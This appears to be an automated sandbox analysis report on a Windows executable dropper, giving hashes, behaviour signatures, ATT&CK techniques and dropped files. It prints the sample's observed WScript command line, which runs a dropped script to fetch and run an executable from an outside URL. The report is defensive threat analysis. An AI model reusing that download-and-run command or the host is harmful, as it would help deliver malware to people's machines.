affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea

Analysis

max time kernel
68s
max time network
125s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
04/12/2022, 05:35

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General

Target

affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe
Size

184KB
MD5

93eac4b75daf487f01b0ae8481200b08
SHA1

b910117319134a109bebef99ea98813f6a1f3755
SHA256

affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea
SHA512

737d5af61a45152680df34b2c2267345cfbc29eee03edb3cfcb4b0756dc85f2fae2e0404bed1f944a68a7b2211c20e20db3158a34d01723de106a95ec6ec20b7
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3r:/7BSH8zUB+nGESaaRvoB7FJNndn2

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	4720	WScript.exe
11	4720	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings	affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	7	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 400 wrote to memory of 4720	400	affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe	83
PID 400 wrote to memory of 4720	400	affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe	83
PID 400 wrote to memory of 4720	400	affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe	83

C:\Users\Admin\AppData\Local\Temp\affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe
"C:\Users\Admin\AppData\Local\Temp\affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:400
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufFA62.js" http://www.djapp.info/?domain=jJfeYCZcWL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufFA62.exe
  2⤵
  - Blocklisted process makes network request
  PID:4720

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\fufFA62.exe

Filesize
570B

MD5
8e0a58f058cd7c7c60529306eca18809

SHA1
98051aec7a0da58768d314a09377c8350e1aa9f8

SHA256
df3efa49cfb4143b32f12e02962f6591271083c1039db0699219c282dd98b586

SHA512
8019754f95f4ef8a9028bab732fe970e3f880338d361775c5755338bfa8b3477573940854c812db9bffc774ac526ee4a7c528930f3720b684037706413fb470c

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C:\Users\Admin\AppData\Local\Temp\fufFA62.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit